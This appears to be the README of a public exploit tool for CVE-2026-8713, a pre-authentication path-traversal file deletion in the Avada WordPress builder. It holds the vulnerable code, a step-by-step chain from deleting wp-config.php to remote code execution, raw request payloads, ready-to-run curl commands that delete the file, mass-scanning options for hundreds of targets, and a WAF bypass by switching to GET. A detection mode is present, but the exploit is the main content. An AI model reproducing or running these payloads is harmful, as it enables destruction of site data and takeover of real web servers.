CVE-2026-8713

$file_path = str_replace($upload['url'], $upload['path'], $value);
// No realpath() check — path traversal sequences pass through
unlink($file_path);

1. Attacker submits Avada form via wp_ajax_nopriv_fusion_form_submit_ajax
   → Path traversal: ../../wp-config.php
   → privacy_expiration_action = delete
   → privacy_expiration_interval = 0

2. WordPress shutdown hook fires Fusion_Form_DB_Privacy
   → Processes stored form entry
   → Calls maybe_delete_files() on attacker-controlled path
   → wp-config.php deleted

3. WordPress enters setup/install mode
   → Attacker connects site to malicious database
   → Full remote code execution

POST /wp-admin/admin-ajax.php
  action=fusion_form_submit_ajax
  form_id=<id>
  privacy_expiration_action=delete
  fusion_privacy_expiration_interval=0
  fusion_form_field_<name>=../../wp-config.php

GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...

git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt

# Detection only (default — no file deletion)
python cve_2026_8713.py -t target.com

# Mass detection
python cve_2026_8713.py -f targets.txt

# Exploit mode — delete wp-config.php
python cve_2026_8713.py -t target.com --exploit

# Delete custom file
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --exploit         Enable file deletion (default: detection only)
  --delete PATH     Custom file path to delete (default: wp-config.php)
  -o, --output      Save results to file
  --threads         Workers (default: 20)
  -v, --verbose     Show detailed output

$ python cve_2026_8713.py -f targets.txt

  CVE-2026-8713  Avada (Fusion) Builder  |  CVSS 9.1
  Mode: Detection  |  Targets: 521  |  Workers: 20
  ───────────────────────────────────────────────────────

  [EXPLOIT]  target-vuln.com      1.2s  form #3  (AJAX open)
  [VULN]     target-waf.com       2.1s  form #1  (WAF blocked)
  [AVADA]    target-noform.com    0.5s  (no form found)
  [-]        target-noavada.com   0.3s

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 45s
  ───────────────────────────────────────────────────────
  Targets        : 521
  Avada detected : 47
  Forms found    : 12
  Vulnerable     : 9

$ python cve_2026_8713.py -t target.com --exploit -v

  CVE-2026-8713 — Avada Builder Exploit
  CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE

    [+] Found Avada form: id=3
    [+] POST form_id=3: HTTP 403 (WAF blocked)
    [+] GET form_id=3: HTTP 200 (WAF bypassed)

  Host     : target.com
  Avada    : YES
  Form     : 3
  Deleted  : wp-config.php (force reinstall → RCE)
  Time     : 3.2s

curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5

curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/HEAD/%5Cd+)'

curl -sk -X POST \
  -d 'action=fusion_form_submit_ajax' \
  -d 'form_id=3' \
  -d 'privacy_expiration_action=delete' \
  -d 'fusion_privacy_expiration_interval=0' \
  -d 'fusion_form_field_x=../../wp-config.php' \
  'https://target.com/wp-admin/admin-ajax.php'

curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'

# Site in install mode?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config deleted → connect malicious DB → full RCE